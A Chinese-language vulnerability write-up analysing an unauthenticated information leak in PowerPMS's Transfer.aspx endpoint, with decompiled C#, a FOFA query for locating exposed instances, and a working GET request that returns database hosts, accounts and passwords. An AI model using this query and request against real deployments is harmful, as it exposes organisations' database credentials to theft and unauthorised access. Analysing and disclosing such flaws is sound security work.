漏洞简介
普华PowerPMS是上海普华科技发展股份有限公司旗下一款项目管理信息平台。其PowerPMS系统Transfer.aspx接口存在信息泄露漏洞,攻击者可在无需认证的情况下,通过直接访问该文件,获取系统中存储的数据库配置信息,可能导致数据库数据泄露,进而引发未授权访问和系统控制风险。
影响版本
fofa语法
app="普华科技-PowerPMS" || body="Power.login.init" && body="Power.ui.warning" && body="Power_login_btn"
漏洞分析
看下Transfer.aspx的实现逻辑
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Transfer.aspx.cs" Inherits="Power.PMS.PowerPlat.Tools.Tools" %>
根据代码引用在Power.PMS.dll中找到PowerPlat.Tools.Tools的实现
public class Tools : Page
{
protected void Page_Load(object sender, EventArgs e)
{
PowerGlobal.CheckSecurity(this.Request);
string str1 = this.Request["ServerOperatorType"];
if (str1 == null)
throw new Exception("无法识别的操作方式");
IEntityAction entityAction = (IEntityAction) new EntityAction();
string str2 = str1;
if (!string.op_Equality(str2, "LoadDataSource"))
{
if (!string.op_Equality(str2, "TransAllTables"))
{
if (!string.op_Equality(str2, "TransRecord"))
{
if (!string.op_Equality(str2, "CaseGUID"))
return;
string str3 = entityAction.CaseGUID(this.Request.QueryString["DataSource"], this.Request.QueryString["ObjDataSource"]);
this.Response.Clear();
this.Response.Write(str3);
this.Response.End();
}
else
{
string str4 = entityAction.TransRecord("", this.Request.QueryString["DataSource"], this.Request.QueryString["ObjDataSource"]);
this.Response.Clear();
this.Response.Write(str4);
this.Response.End();
}
}
else
{
string str5 = entityAction.TransAllTables(this.Request.QueryString["DataSource"], this.Request.QueryString["ObjDataSource"]);
this.Response.Clear();
this.Response.Write(str5);
this.Response.End();
}
}
else
{
string str6 = JsonConvert.SerializeObject((object) entityAction.LoadDataSource());
this.Response.Clear();
this.Response.Write(str6);
this.Response.End();
}
}
根据ServerOperatorType参数的值进入不同的分支处理逻辑
当ServerOperatorType=LoadDataSource时,会进入LoadDataSource方法
/// <summary>提取可用数据源</summary>
/// <returns></returns>
public List<DataBaseEntity> LoadDataSource()
{
DAL.LoadDataSourceConfig(AppDomain.CurrentDomain.BaseDirectory);
List<DataBaseEntity> dataBaseEntityList = new List<DataBaseEntity>();
foreach (DataBaseEntity dataBaseEntity in DAL.ConnStrs.Values)
dataBaseEntityList.Add(dataBaseEntity);
return dataBaseEntityList;
}
其目的已经注释出来了,提取可用的数据源信息,然后以json格式响应在body
漏洞复现
GET /PowerPlat/Tools/Transfer.aspx?ServerOperatorType=LoadDataSource HTTP/1.1
Host: powerpms.mrxn.net

响应中包含当前可用的数据源信息,包括数据库地址、账户和密码等敏感信息。

